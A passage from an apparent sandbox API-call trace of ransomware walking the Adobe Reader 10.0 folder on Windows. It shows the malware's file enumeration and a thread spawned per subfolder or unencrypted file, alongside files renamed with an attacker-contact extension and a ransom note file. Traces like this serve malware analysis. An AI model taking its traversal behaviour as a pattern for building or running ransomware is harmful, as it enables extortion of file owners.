ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da190 [0140.065] wcscmp (_String1=".", _String2=".") returned 0 [0140.065] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa3a296e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3a296e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.282] wcscmp (_String1="..", _String2=".") returned 1 [0140.282] wcscmp (_String1="..", _String2="..") returned 0 [0140.282] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x436f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Benioku.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="BENIOK~1.CD4")) returned 1 [0140.282] wcscmp (_String1="Benioku.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.282] wcscmp (_String1="Benioku.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.282] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Berime.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="BERIME~1.CD4")) returned 1 [0140.282] wcscmp (_String1="Berime.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.282] wcscmp (_String1="Berime.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.282] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa35ff060, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0xa35ff060, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3d95680, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CD46D-Readme.txt", cAlternateFileName="CD46D-~1.TXT")) returned 1 [0140.282] wcscmp (_String1="CD46D-Readme.txt", _String2=".") returned 1 [0140.282] wcscmp (_String1="CD46D-Readme.txt", _String2="..") returned 1 [0140.282] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Esl", cAlternateFileName="")) returned 1 [0140.282] wcscmp (_String1="Esl", _String2=".") returned 1 [0140.282] wcscmp (_String1="Esl", _String2="..") returned 1 [0140.282] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x90eef0 [0140.282] wcscpy (in: _Dest=0x90eef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0140.282] wcscat (in: _Dest=0x90eef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0140.282] wcscat (in: _Dest=0x90eef0, _Source="Esl" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" [0140.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90eef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8 [0140.289] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x438f, dwReserved0=0x0, dwReserved1=0x0, cFileName="IrakHau.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="IRAKHA~1.CD4")) returned 1 [0140.289] wcscmp (_String1="IrakHau.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.290] wcscmp (_String1="IrakHau.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.290] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x433e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Leame.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="LEAMEH~1.CD4")) returned 1 [0140.290] wcscmp (_String1="Leame.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.290] wcscmp (_String1="Leame.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.290] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeesMij.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="LEESMI~1.CD4")) returned 1 [0140.290] wcscmp (_String1="LeesMij.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.290] wcscmp (_String1="LeesMij.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.290] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4390, dwReserved0=0x0, dwReserved1=0x0, cFileName="Leggimi.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="LEGGIM~1.CD4")) returned 1 [0140.290] wcscmp (_String1="Leggimi.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.290] wcscmp (_String1="Leggimi.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.290] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4378, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeiaMe.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="LEIAME~1.CD4")) returned 1 [0140.290] wcscmp (_String1="LeiaMe.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.290] wcscmp (_String1="LeiaMe.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.290] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Liesmich.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="LIESMI~1.CD4")) returned 1 [0140.290] wcscmp (_String1="Liesmich.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.290] wcscmp (_String1="Liesmich.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.290] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lisezmoi.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="LISEZM~1.CD4")) returned 1 [0140.290] wcscmp (_String1="Lisezmoi.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.290] wcscmp (_String1="Lisezmoi.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.290] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4307, dwReserved0=0x0, dwReserved1=0x0, cFileName="Llegiu-me.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="LLEGIU~1.CD4")) returned 1 [0140.290] wcscmp (_String1="Llegiu-me.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.290] wcscmp (_String1="Llegiu-me.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.290] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4457, dwReserved0=0x0, dwReserved1=0x0, cFileName="LueMinut.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="LUEMIN~1.CD4")) returned 1 [0140.290] wcscmp (_String1="LueMinut.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.290] wcscmp (_String1="LueMinut.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.290] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa3a03580, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3a03580, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader", cAlternateFileName="")) returned 1 [0140.290] wcscmp (_String1="Reader", _String2=".") returned 1 [0140.290] wcscmp (_String1="Reader", _String2="..") returned 1 [0140.290] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90ef58 [0140.290] wcscpy (in: _Dest=0x90ef58, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0140.291] wcscat (in: _Dest=0x90ef58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0140.291] wcscat (in: _Dest=0x90ef58, _Source="Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0140.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90ef58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0140.292] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x427b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="REB0B0~1.CD4")) returned 1 [0140.292] wcscmp (_String1="ReadMe.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.292] wcscmp (_String1="ReadMe.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.292] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x407a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCS.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="RE41EA~1.CD4")) returned 1 [0140.292] wcscmp (_String1="ReadMeCS.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.292] wcscmp (_String1="ReadMeCS.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.292] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x40aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCT.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="REA645~1.CD4")) returned 1 [0140.292] wcscmp (_String1="ReadMeCT.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.292] wcscmp (_String1="ReadMeCT.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.292] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80815880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x472e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCZE.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="README~4.CD4")) returned 1 [0140.292] wcscmp (_String1="ReadMeCZE.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.292] wcscmp (_String1="ReadMeCZE.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.292] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80861b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeHRV.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="RE553D~1.CD4")) returned 1 [0140.292] wcscmp (_String1="ReadMeHRV.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.292] wcscmp (_String1="ReadMeHRV.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.292] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x437f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeHUN.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="RE022E~1.CD4")) returned 1 [0140.292] wcscmp (_String1="ReadMeHUN.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.292] wcscmp (_String1="ReadMeHUN.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.292] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeJ.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="README~2.CD4")) returned 1 [0140.292] wcscmp (_String1="ReadMeJ.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.292] wcscmp (_String1="ReadMeJ.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.292] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4197, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeK.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="README~3.CD4")) returned 1 [0140.292] wcscmp (_String1="ReadMeK.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.293] wcscmp (_String1="ReadMeK.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.293] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4444, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMePOL.htm", cAlternateFileName="RECE99~1.HTM")) returned 1 [0140.293] wcscmp (_String1="ReadMePOL.htm", _String2=".") returned 1 [0140.293] wcscmp (_String1="ReadMePOL.htm", _String2="..") returned 1 [0140.293] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8a58 [0140.293] wcscpy (in: _Dest=0x8e8a58, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0140.293] wcscat (in: _Dest=0x8e8a58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0140.293] wcscat (in: _Dest=0x8e8a58, _Source="ReadMePOL.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" [0140.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8a58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0140.295] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4423, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeRUM.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="REEEB8~1.CD4")) returned 1 [0140.295] wcscmp (_String1="ReadMeRUM.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.295] wcscmp (_String1="ReadMeRUM.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.295] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x497d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeRUS.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="RE22BA~1.CD4")) returned 1 [0140.295] wcscmp (_String1="ReadMeRUS.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.295] wcscmp (_String1="ReadMeRUS.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.295] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeSKY.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="REFAAD~1.CD4")) returned 1 [0140.295] wcscmp (_String1="ReadMeSKY.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.295] wcscmp (_String1="ReadMeSKY.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.295] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeUKR.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="README~1.CD4")) returned 1 [0140.295] wcscmp (_String1="ReadMeUKR.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.296] wcscmp (_String1="ReadMeUKR.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.296] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1 [0140.296] wcscmp (_String1="Resource", _String2=".") returned 1 [0140.296] wcscmp (_String1="Resource", _String2="..") returned 1 [0140.296] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f16e8 [0140.296] wcscpy (in: _Dest=0x8f16e8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0140.296] wcscat (in: _Dest=0x8f16e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0140.296] wcscat (in: _Dest=0x8f16e8, _Source="Resource" 